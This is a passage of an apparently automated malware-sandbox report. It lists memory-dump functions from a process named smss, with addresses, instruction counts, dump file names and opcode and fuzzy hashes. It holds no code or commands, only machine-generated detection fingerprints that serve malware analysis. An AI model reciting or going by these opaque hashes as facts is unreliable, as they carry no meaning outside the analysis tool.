                                                      • Opcode ID: 4f42990b4bdd9a2326813e0fdf814c915af6a5fd8bf60faf94241cd8eb84f1e3
                                                      • Instruction ID: 3f5c5070f7ad377f2b6f7bcd288f64deb3821fc82fca28f85189a8130c0508bd
                                                      • Opcode Fuzzy Hash: 4f42990b4bdd9a2326813e0fdf814c915af6a5fd8bf60faf94241cd8eb84f1e3
                                                      • Instruction Fuzzy Hash: E4415730B1D81E8FEB78EA6884386FD77A1FFA4301F5549BAD04ED7196DD386A818740
                                                      Function 00007FFD9BCCB510 Relevance: .1, Instructions: 128COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b1729e75db6889ab605b2c55749d0f3fbd2d2f5bb8f887ad124893aeada6912f
                                                      • Instruction ID: c664a921c68153aa040c898df8c36049dba8c5ee773cfa59e9be10f33159e866
                                                      • Opcode Fuzzy Hash: b1729e75db6889ab605b2c55749d0f3fbd2d2f5bb8f887ad124893aeada6912f
                                                      • Instruction Fuzzy Hash: 1341BE31A0EA9E8FDB59EBA8D8608FC7BB0FF55304B0841B6D04ADB1E3DE2569058751
                                                      Function 00007FFD9C067467 Relevance: .1, Instructions: 127COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 95c7cc8fe639f205706cd3a86db214dd39acf7f921cf1f61f63cdd2458dfa9c5
                                                      • Instruction ID: 3713dd4ba65eda3cc05e740a47670fde62be4db03aed7286e1f7008b1b876c72
                                                      • Opcode Fuzzy Hash: 95c7cc8fe639f205706cd3a86db214dd39acf7f921cf1f61f63cdd2458dfa9c5
                                                      • Instruction Fuzzy Hash: 4D417F3170C9498FDBA9EF6CC0A6DB577E1FBA9310B1401AAD01EC3196DE21E880CB81
                                                      Function 00007FFD9BCC0257 Relevance: .1, Instructions: 127COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7db4aa8cbdfc4c739ef08c3730c0d1911d1857db781f6ed7a76cd8d898ce22b0
                                                      • Instruction ID: ec375b0c6d8569e43167d555642f8ad4a12a9532087468e612f0701dab210ecd
                                                      • Opcode Fuzzy Hash: 7db4aa8cbdfc4c739ef08c3730c0d1911d1857db781f6ed7a76cd8d898ce22b0
                                                      • Instruction Fuzzy Hash: 9241733170C9098FDF98EF28C4A6DA977E1FBA931070445AAD04EC7196DE31F985CB81
                                                      Function 00007FFD9BCC94B7 Relevance: .1, Instructions: 127COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 72ada80692b7f377a4895c1d58790752630a8e4f2a141d07873bb9ec96f44f16
                                                      • Instruction ID: ae8088e605393f9a70aa6f16a4bf62920e6a898d919bf1c1c29dba55130c0218
                                                      • Opcode Fuzzy Hash: 72ada80692b7f377a4895c1d58790752630a8e4f2a141d07873bb9ec96f44f16
                                                      • Instruction Fuzzy Hash: 7D41963170C95C9FDF59EB28C4A5DA477E1FBA5320B0401AAD04EC76A6DE31E845CB41
                                                      Function 00007FFD9C06BF39 Relevance: .1, Instructions: 123COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f5832d542f4d34cfa9b70ae45b7dff0c519b7139a74762a92c6cbab36f1a8d81
                                                      • Instruction ID: 60ac1f1f95359d663ba20d59baa3c30ec1f4739b6732b13fd44d258f6be54e1e
                                                      • Opcode Fuzzy Hash: f5832d542f4d34cfa9b70ae45b7dff0c519b7139a74762a92c6cbab36f1a8d81
                                                      • Instruction Fuzzy Hash: 8631B521A0D1A78AE7796AE455235B93BA0BF123A0F1403B6E55E870D2DB1E38417792
                                                      Function 00007FFD9C067511 Relevance: .1, Instructions: 120COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2eb33184b1f73a9f4918c8da6677ce7a249bede25d51a877419efc1e836ee417
                                                      • Instruction ID: d2f92b47171cdf19b095f66cc767396a4145e6e04f6cf84a22c4d1254ee77985
                                                      • Opcode Fuzzy Hash: 2eb33184b1f73a9f4918c8da6677ce7a249bede25d51a877419efc1e836ee417
                                                      • Instruction Fuzzy Hash: FF315F317089558FDBA9EF2CC0A5E7577E1FBA9310B1442AED05EC7196DE21F881CB81
                                                      Function 00007FFD9BCC9561 Relevance: .1, Instructions: 120COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 707eebbf0800ce89340b179c24e71e6f17c03d05f78a5d1c199d34a45b446d69
                                                      • Instruction ID: f9b2b2f5a1c36ca4972035361d8f98162c5af34f9fb57a6d6a856eab3a8d1cd1
                                                      • Opcode Fuzzy Hash: 707eebbf0800ce89340b179c24e71e6f17c03d05f78a5d1c199d34a45b446d69
                                                      • Instruction Fuzzy Hash: C231A33160895C9FDF5DEB28C4A5DA477E1FBAA310B0402AAD05EC72A6DE31E845CB81
                                                      Function 00007FFD9BCC0301 Relevance: .1, Instructions: 120COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 3db1d5edae554e5ff704f0d675f9adccdd0fbcf8a8be73227ec9ea4b8947c3ed
                                                      • Instruction ID: 75756a7c2da14025be5558f33705da0ef0a5ce4aae5685a11d5354a9cd7337f5
                                                      • Opcode Fuzzy Hash: 3db1d5edae554e5ff704f0d675f9adccdd0fbcf8a8be73227ec9ea4b8947c3ed
                                                      • Instruction Fuzzy Hash: 923192316089598FDF9CEB28C0A6EA477E1FBA931070845AED04AC7192DE31F885CB81
                                                      Function 00007FFD9C0674AB Relevance: .1, Instructions: 115COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: e887d3c94a5ff55d859614ce74194af33954edbb858aea7c505f1c74e474ba31
                                                      • Instruction ID: b72c39fea89dfe7436a8f43239fd7465a7e9fea0d783a20c2dd21846b6f1b5aa
                                                      • Opcode Fuzzy Hash: e887d3c94a5ff55d859614ce74194af33954edbb858aea7c505f1c74e474ba31
                                                      • Instruction Fuzzy Hash: DC3160317089458FDBA9EF28C0A5DB577E1FBA9310B1441AED05EC7196DE35F881CB81
                                                      Function 00007FFD9BCC94FB Relevance: .1, Instructions: 115COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 18f641429ba135ae9e3c94fd6f3aa0744db0e2d91496ff1d74cf8dc54e860afb
                                                      • Instruction ID: 7b56552cbe58b5dd4d42c3592c2b5dfcfb2fd6bae1150a3b6abbe9b14f6dab78
                                                      • Opcode Fuzzy Hash: 18f641429ba135ae9e3c94fd6f3aa0744db0e2d91496ff1d74cf8dc54e860afb
                                                      • Instruction Fuzzy Hash: 0D31963170895C9FDF59EF28C4A5DA477E1FBA5310B0405AAD04EC76A6DE31E845CB41
                                                      Function 00007FFD9C0645CD Relevance: .1, Instructions: 111COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: d9e49fa0bbc14858df893fc616bad083e61718a24911ba9debc5d384782bcd85
                                                      • Instruction ID: fccb9696cd9d5f50c69191ec74ee888786421697d8040ccd9eed767f039ea59f
                                                      • Opcode Fuzzy Hash: d9e49fa0bbc14858df893fc616bad083e61718a24911ba9debc5d384782bcd85
                                                      • Instruction Fuzzy Hash: 3F315231B0890B9FDB68DE98D5A29ACF7B1FF55350F14423AD01ED3682DF24B8529B80
                                                      Function 00007FFD9C06D6AB Relevance: .1, Instructions: 101COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1c7d7d336582630a9135db218fbb1851b49bc11a11138dba9abc49fd962b65e4
                                                      • Instruction ID: 32ae4dd9717cfcce2895124b0387472cf4edd62f5b67a2df1fd05cd8f5ff9dbe
                                                      • Opcode Fuzzy Hash: 1c7d7d336582630a9135db218fbb1851b49bc11a11138dba9abc49fd962b65e4
                                                      • Instruction Fuzzy Hash: 12312271B08A1B8FDB54EE58D5A29A8F3B1FF58350B154239E04ED3691DF24BC52DB80
                                                      Function 00007FFD9BCC92C5 Relevance: .1, Instructions: 98COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ed0418649c7df72c28924f73f2ec007c3115ebedb4453a0034dd5e4bc1b5447f
                                                      • Instruction ID: 581f4140a4f7a27e9990c4556bcbf6d8b38a23e3eac2a003a9b521932b1b95b3
                                                      • Opcode Fuzzy Hash: ed0418649c7df72c28924f73f2ec007c3115ebedb4453a0034dd5e4bc1b5447f
                                                      • Instruction Fuzzy Hash: 71316030A0A94ECFDB66EBA484695FD77A0FFE6300F5A04B6D40EC61E1DB796A408741
                                                      Function 00007FFD9BCC662D Relevance: .1, Instructions: 97COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 16f9dc34cff676825c79480d8dcf3bc3f71e893eafe805123ed032c96541fad1
                                                      • Instruction ID: 95d4038a5c576ace12be4fba2de28f8f912b714495ff569f76fbfb4e5a4221d7
                                                      • Opcode Fuzzy Hash: 16f9dc34cff676825c79480d8dcf3bc3f71e893eafe805123ed032c96541fad1
                                                      • Instruction Fuzzy Hash: 1231B531B0990A4FD754FB68D5624BCF3A1FFA5310B514939E04DD3292CF34B9128B40
                                                      Function 00007FFD9C067275 Relevance: .1, Instructions: 95COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 39656fe688170f060fcb9da4d5a91a9431dcf4cba726c5743c9db0751e7639c5
                                                      • Instruction ID: 0882b07e5aef3c5fe2e4bf706aa62e6d0cd24c2837042a7925c1e4731f9182ed
                                                      • Opcode Fuzzy Hash: 39656fe688170f060fcb9da4d5a91a9431dcf4cba726c5743c9db0751e7639c5
                                                      • Instruction Fuzzy Hash: C6310730A1C55BCBEBA8DF9885B25BD76B1FF44340F50027AE50ED2181DF39A980A641
                                                      Function 00007FFD9B900C25 Relevance: .1, Instructions: 95COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6b238cf52632685a1cda233d835325bc6469ab94a641e465d7b4f749690c09df
                                                      • Instruction ID: bfb9b0daad2c5580316778a7e05c1913fdd4c0d51624db88f33b2b9179cf4c23
                                                      • Opcode Fuzzy Hash: 6b238cf52632685a1cda233d835325bc6469ab94a641e465d7b4f749690c09df
                                                      • Instruction Fuzzy Hash: 38315B3AB1D29D9FF721A7A888655EC7BA0DF42710F0641B7D089C70D3D93826898751
                                                      Function 00007FFD9B900998 Relevance: .1, Instructions: 94COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ffda63ba74a6585a90614966c589554050eead892a4bcb85d2cf9f93385d4228
                                                      • Instruction ID: 5624c97fa48a0fd0285740409042797bf420f2049f20ba4be7b56b9d178e6367
                                                      • Opcode Fuzzy Hash: ffda63ba74a6585a90614966c589554050eead892a4bcb85d2cf9f93385d4228
                                                      • Instruction Fuzzy Hash: E7213B24B2D91D1FE758F76C946AB7973C2EB99315F4400B9E84EC32F7DD14AC824281
                                                      Function 00007FFD9C06D77E Relevance: .1, Instructions: 92COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7dfe92449b9edcdfcd3dc9c5cc32e43db614628aeb34586c6e35f08964f4612f
                                                      • Instruction ID: 371538e2cd0ac301d59e41b5052851d27cc47bfaa51cb5883616e85ee034532c
                                                      • Opcode Fuzzy Hash: 7dfe92449b9edcdfcd3dc9c5cc32e43db614628aeb34586c6e35f08964f4612f
                                                      • Instruction Fuzzy Hash: 4621D632F0CA474FF768AE9885725A8B7F0FF55390F04027AD05DC76C2EF1869415681
                                                      Function 00007FFD9C0646A8 Relevance: .1, Instructions: 91COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1293d366122a1e83b8aef9fea0d859f4a5c92d8e9248e793fabad49912a954a4
                                                      • Instruction ID: a7a96859f84a3d231e716e1cea4f9fb04dd067ff2f5257f83117fed86df15ccf
                                                      • Opcode Fuzzy Hash: 1293d366122a1e83b8aef9fea0d859f4a5c92d8e9248e793fabad49912a954a4
                                                      • Instruction Fuzzy Hash: CD21D521F0DA8B4EE768EAE899331A8B7F0EF46390F05027AD05DC62D2DF1869465651
                                                      Function 00007FFD9B901171 Relevance: .1, Instructions: 91COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 148b6b9a31888a5e97260fbd9c3323027e2f7020a29d230084db3772ecb74e46
                                                      • Instruction ID: 17b1a2c24fd0a3dfbab0e5991eafae0a4ab5910c642fcc8cb901f3c8054d197e
                                                      • Opcode Fuzzy Hash: 148b6b9a31888a5e97260fbd9c3323027e2f7020a29d230084db3772ecb74e46
                                                      • Instruction Fuzzy Hash: 6831D630A0964E8FDB89EBA4C8659B977F0FF5A300B0545BAD04AD71A2DF38A940CB10
                                                      Function 00007FFD9C066160 Relevance: .1, Instructions: 89COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 88384d013e22c20d457913d8a329d016e2d0359508883a30a21ec4b0d2e51cad
                                                      • Instruction ID: c46c35cc8647c5bca4cd41792521780fe1f63eb641e4ff4ad8a13844da19456f
                                                      • Opcode Fuzzy Hash: 88384d013e22c20d457913d8a329d016e2d0359508883a30a21ec4b0d2e51cad
                                                      • Instruction Fuzzy Hash: 94313A10A1C9A74AE73A8A5885755B47BB1FF91340F1C47B9D0DE8A4DBCE3CB841A341
                                                      Function 00007FFD9BCC81B0 Relevance: .1, Instructions: 88COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 033ad80a91c1bba4afb76bbbfa2d676fec6ce80ac35cdad5c06128d17607f1fa
                                                      • Instruction ID: ad415f76cd9e968bede0d44daef31e716bb3a37d5172bee31f660726a31796f8
                                                      • Opcode Fuzzy Hash: 033ad80a91c1bba4afb76bbbfa2d676fec6ce80ac35cdad5c06128d17607f1fa
                                                      • Instruction Fuzzy Hash: F031722061D99E8BE739967444785B97B51EFE2302F1E4DF6D097DB0E7D82CAA418340
                                                      Function 00007FFD9BCC007C Relevance: .1, Instructions: 88COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: dab39f041dc306abbbc3d3f7fe4265b5dee93d001c695d092460f430f4988c3d
                                                      • Instruction ID: 0c06a00306dc951969e8e5495176276fbc2673651be12ae9a344931ed471fe62
                                                      • Opcode Fuzzy Hash: dab39f041dc306abbbc3d3f7fe4265b5dee93d001c695d092460f430f4988c3d
                                                      • Instruction Fuzzy Hash: 7A311E30F1A54ECFEBA8EBA484755BDB7B1FFA4700F52087AD00ED61A1DA346A409741
                                                      Function 00007FFD9C06F210 Relevance: .1, Instructions: 84COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 706722b15fc2172fd140a66be2eac9611ef645c05b6e0318056fdddf05d5765e
                                                      • Instruction ID: dfc6048e1b508a242be164e658920ddf1551932d722d33565e5b0b56939c57c0
                                                      • Opcode Fuzzy Hash: 706722b15fc2172fd140a66be2eac9611ef645c05b6e0318056fdddf05d5765e
                                                      • Instruction Fuzzy Hash: 35314910A6C2D74AE7398B5884756B47B71EF96340F2843BAC19FCB4D7C52CA483EB41
                                                      Function 00007FFD9BCC55C2 Relevance: .1, Instructions: 84COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: add193af0ca6ef823da9015cc762a1fc6c764cd90ace559cf4849f56c534d886
                                                      • Instruction ID: 4a5cf60a79ffb0f47db0cd6a9ac40761c000259d340c35973cd440676653278f
                                                      • Opcode Fuzzy Hash: add193af0ca6ef823da9015cc762a1fc6c764cd90ace559cf4849f56c534d886
                                                      • Instruction Fuzzy Hash: BD21FF71E1591D9FDF99EB58C465AECB7B1FFA8310F0141AAD04EE3291CE35A9418B00
                                                      Function 00007FFD9C06C642 Relevance: .1, Instructions: 83COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b40d269ca7d23dfabfb2c10069c8b2418ca6ce6ac8c17fb2d54e0f9525309666
                                                      • Instruction ID: a01be8fb16a306b3f380796be58dec156b1ecbf630afa4e4b98aed0f82f66945
                                                      • Opcode Fuzzy Hash: b40d269ca7d23dfabfb2c10069c8b2418ca6ce6ac8c17fb2d54e0f9525309666
                                                      • Instruction Fuzzy Hash: D221B975A1891D9FDFA8DF58C4A5AEDB7B1FF68304F1041AAD01EE3291CF35A9818B40
                                                      Function 00007FFD9BCCC0D2 Relevance: .1, Instructions: 83COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: e1f46cb9f4350522e22d45a4b830dd04ee4369a40837a76dd90f58dd00eb01b8
                                                      • Instruction ID: 000d0ddfc903b35f80454588afa8518efa7421f77e7de61fb78b2467f9c0690d
                                                      • Opcode Fuzzy Hash: e1f46cb9f4350522e22d45a4b830dd04ee4369a40837a76dd90f58dd00eb01b8
                                                      • Instruction Fuzzy Hash: B021FD71E0581D8FDF98EB58D465AFDB7B1FFA8311F0145AAD00EE32A1CE35A9418B40
                                                      Function 00007FFD9C063562 Relevance: .1, Instructions: 82COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4f6d31a1683d4b5669b22f3fcb2aca36aa59049a0472985569b406f8bef8b350
                                                      • Instruction ID: ec8fa7e11c6f8f9d2ad60a9243ade91053b4a16de68a15afd4c2df903a58de59
                                                      • Opcode Fuzzy Hash: 4f6d31a1683d4b5669b22f3fcb2aca36aa59049a0472985569b406f8bef8b350
                                                      • Instruction Fuzzy Hash: 1B21D831A1491E9FDFA8DF58C466AADB7B1FF5C310F0042AED04EE3291CB35A9409B40
                                                      Function 00007FFD9C06F240 Relevance: .1, Instructions: 79COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1d1e7bf02c3cfd0c618b5ccea97a86cb4c71734c43d9789663877367c4540fab
                                                      • Instruction ID: 9584adf5791f2b7094d92b14bbfcf79a3618247e47fa472e1df9b4aac81ea875
                                                      • Opcode Fuzzy Hash: 1d1e7bf02c3cfd0c618b5ccea97a86cb4c71734c43d9789663877367c4540fab
                                                      • Instruction Fuzzy Hash: CB213810A6C5574AF6388A488176AB47771EF95340F24477AC15FC748ACA3CB883AB80
                                                      Function 00007FFD9BCC4A78 Relevance: .1, Instructions: 79COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f4e71ec8b2f43cacbd018daa4ae8e2bf7c7167d99bc06f8a856181e89b914425
                                                      • Instruction ID: cc91c6961e8898fb8ffc4da1d4e11d197cd9441b40fbddc7baacdf379d4dca04
                                                      • Opcode Fuzzy Hash: f4e71ec8b2f43cacbd018daa4ae8e2bf7c7167d99bc06f8a856181e89b914425
                                                      • Instruction Fuzzy Hash: 8E213035F1994E9FDB98EBA8D4605FC77B1FF98300F51057AD00EE3290DA3569068B54
                                                      Function 00007FFD9BCC6722 Relevance: .1, Instructions: 75COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
